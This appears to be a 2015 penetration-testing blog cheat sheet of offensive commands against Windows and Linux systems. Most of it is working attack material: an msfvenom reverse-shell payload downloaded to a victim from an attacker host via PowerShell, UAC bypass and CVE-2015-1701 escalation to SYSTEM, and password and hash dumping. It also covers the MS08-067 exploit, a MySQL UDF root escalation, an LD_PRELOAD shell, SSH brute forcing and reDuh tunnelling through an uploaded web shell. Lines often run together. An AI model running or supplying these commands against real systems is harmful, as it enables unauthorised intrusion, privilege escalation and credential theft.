msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe#show account settingsnet user <login># download psexec to kalihttps://technet.microsoft.com/en-us/sysinternals/bb897553.aspx# upload psexec.exe file onto the victim machine with powershell scriptecho $client = New-Object System.Net.WebClient > script.ps1echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1# upload danger.exe file onto the victim machine with powershell scriptecho $client = New-Object System.Net.WebClient > script2.ps1echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1# UAC bypass from precompiled binaries:https://github.com/hfiref0x/UACME# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershellecho $client = New-Object System.Net.WebClient > script2.ps1echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1# create listener on kalinc -lvp 4444# Use Akagi64 to run the danger.exe file with SYSTEM privilegesAkagi64.exe 1 C:\Users\User\Desktop\danger.exe# create listener on kalinc -lvp 4444# The above step should give us a reverse shell with elevated privileges# Use PsExec to run the danger.exe file with SYSTEM privilegespsexec.exe –i –d –accepteula –s danger.exe

Get SYSTEM with Standard user reverse_shell on Win7

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.htmlhttps://www.exploit-db.com/exploits/37049/# check the list of patches applied on the target machine# to get the list of Hotfixes installed, type in the following command.wmic qfe getwmic qfe | find "3057191"# Upload compile exploit to victim machine and run ithttps://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"# dump clear text password of the currently logged in user using wce.exehttp://www.ampliasecurity.com/research/windows-credentials-editor/wce -w# dump hashes of other users with pwdump7http://www.heise.de/download/pwdump.html# we can try online hash cracking tools such crackstation.net

Generate our own dic file based on the website content

$ cewl -m 4 -w dict.txt http://site.url$ john --wordlist=dict.txt --rules --stdout

Bruteforce DNS records using Nmap

$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80$ nmap --script dns-brute www.foo.com

Identifying a WAF with Nmap

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102$ wafw00f www.example.com

MS08-067 - without the use of Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205$ searchsploit ms08-067$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

Nikto scan with SQUID proxy

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

Hijack a binary’s full path in bash to exec your own code

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }$ export -f /usr/bin/foo$ /usr/bin/fooIt works

Local privilege escalation through MySQL run with root privileges

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)$ wget 0xdeadbeef.info/exploits/raptor_udf2.c$ gcc -g -c raptor_udf2.c$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcmysql -u root -pmysql> use mysql;mysql> create table foo(line blob);mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';mysql> create function do_system returns integer soname 'raptor_udf2.so';mysql> select * from mysql.func;mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');user:~$ su -Password:user:~# whoamirootroot:~# iduid=0(root) gid=0(root) groups=0(root)

Bruteforce SSH login with patator

root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

Using LD_PRELOAD to inject features to programs

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

Exploit the OpenSSH User Enumeration Timing Attack

# https://github.com/c0r3dump3d/osueta$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

Create a TCP circuit through validly formed HTTP requests with ReDuh

# https://github.com/sensepost/reDuh# step 1# upload reDuh.jsp to victim server$ http://192.168.10.50/uploads/reDuh.jsp# step 2# run reDuhClient on attacker$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp# step 3# connecting to management port with nc$ nc -nvv 127.0.0.1 1010# step 4# forward localport to remote port with tunnel[createTunnel] 7777:172.16.0.4:3389# step 5# connect to localhost with rdp$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

---

Pentest Tips and Tricks #2 was published on August 21, 2015 and last modified on August 21, 2015.